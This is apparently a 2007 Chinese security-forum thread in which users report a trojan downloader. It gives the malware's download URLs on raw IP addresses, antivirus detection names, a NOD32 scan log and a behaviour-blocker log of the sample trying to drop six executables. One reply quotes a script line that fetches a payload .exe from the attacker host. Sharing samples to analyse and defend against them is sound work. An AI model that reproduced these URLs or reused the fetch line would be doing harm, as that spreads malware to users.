kv报木马下载者

kp2006

http://222.180.37.136/down/200701250235.exe

http://222.180.37.146/down/123.htm

[ 本帖最后由 kp2006 于 2007-6-16 20:41 编辑 ]

allenhippo

就是这个了52pkpk.net里面的

1688388728

病毒: Trojan-Dropper.Win32.Microjoin.cn
文件: 200701250235[1].exe
目录: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\ZM0SZ5EQ
进程: GreenBrowser.exe

啊弥陀佛

无法下载附件 可能被修复了?

yashoo

要相信咖啡的WEB监控

The EQs

Scan performed at: 2007-6-16 22:01:54
Scanning Log
NOD32 version 2335 (20070616) NT
Command line: C:\Documents and Settings\EQ2\桌面\复件 200701250235.exe
Operating memory - is OK

Date: 16.6.2007  Time: 22:01:58
Anti-Stealth technology is enabled.
Scanned disks, folders and files: C:\Documents and Settings\EQ2\桌面\复件 200701250235.exe
C:\Documents and Settings\EQ2\桌面\复件 200701250235.exe - probably unknown NewHeur_PE virus [7]
Number of scanned files: 1
Number of threats found: 1
Number of files cleaned: 1
Time of completion: 22:02:01 Total scanning time: 3 sec (00:00:03)

Notes:
[7] File is probably infected with an unknown virus.

taihuxian

Virus: Trojan-Dropper.Win32.Microjoin.cn

Virus found while downloading Web content.

Address: 222.180.37.136

taihuxian

Virus: Trojan-Downloader.JS.Psyme.dc

Virus found while downloading Web content.

Address: 222.180.37.146

啊弥陀佛

在看一下就看到了
mx.Open("GET","htp://222.180.37.146/down/123.exe",0);

下载了半天两支竟都跑不起来

[ 本帖最后由 啊弥陀佛 于 2007-6-16 22:19 编辑 ]

a256886572008

運行200701250235.exe，發現下列行為，被EQ-Secure RC2攔截！
------------------
2007-06-16 22:17:20    运行应用程序      操作:允许
进程路径:C:\windows\Explorer.EXE
文件路径:D:\桌面\virus\200701250235.exe
规则:应用程序规则->系統程序->%windir%\Explorer.EXE


2007-06-16 22:17:20    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:20    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:20    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:20    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:20    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    创建文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp\tdsetup.exe
规则:所有程序规则->全局設置_可執行文件1_普通模式->%SystemDrive%\*.exe


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    创建文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp\Setup(14).exe
规则:所有程序规则->全局設置_可執行文件1_普通模式->%SystemDrive%\*.exe


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    创建文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp\dodolook057.exe
规则:所有程序规则->全局設置_可執行文件1_普通模式->%SystemDrive%\*.exe


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    创建文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp\setup168.exe
规则:所有程序规则->全局設置_可執行文件1_普通模式->%SystemDrive%\*.exe


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:21    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:22    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:22    创建文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp\bind_50103.exe
规则:所有程序规则->全局設置_可執行文件1_普通模式->%SystemDrive%\*.exe


2007-06-16 22:17:22    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:22    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:22    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:22    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:22    修改文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp
规则:所有程序规则->2.1.3组：保護部分重要的文件和文件夾->%SystemDrive%\*


2007-06-16 22:17:22    创建文件      操作:阻止
进程路径:D:\桌面\virus\200701250235.exe
文件路径:C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp\ad1760.exe
规则:所有程序规则->全局設置_可執行文件1_普通模式->%SystemDrive%\*.exe

-----------------------------------------------------------------------------------------------------------------------
1.他會在C:\Documents and Settings\Hung  Jui Hung\Local Settings\Temp\產生
   tdsetup.exe
   Setup(14).exe
   dodolook057.exe
   setup168.exe
   bind_50103.exe
   ad1760.exe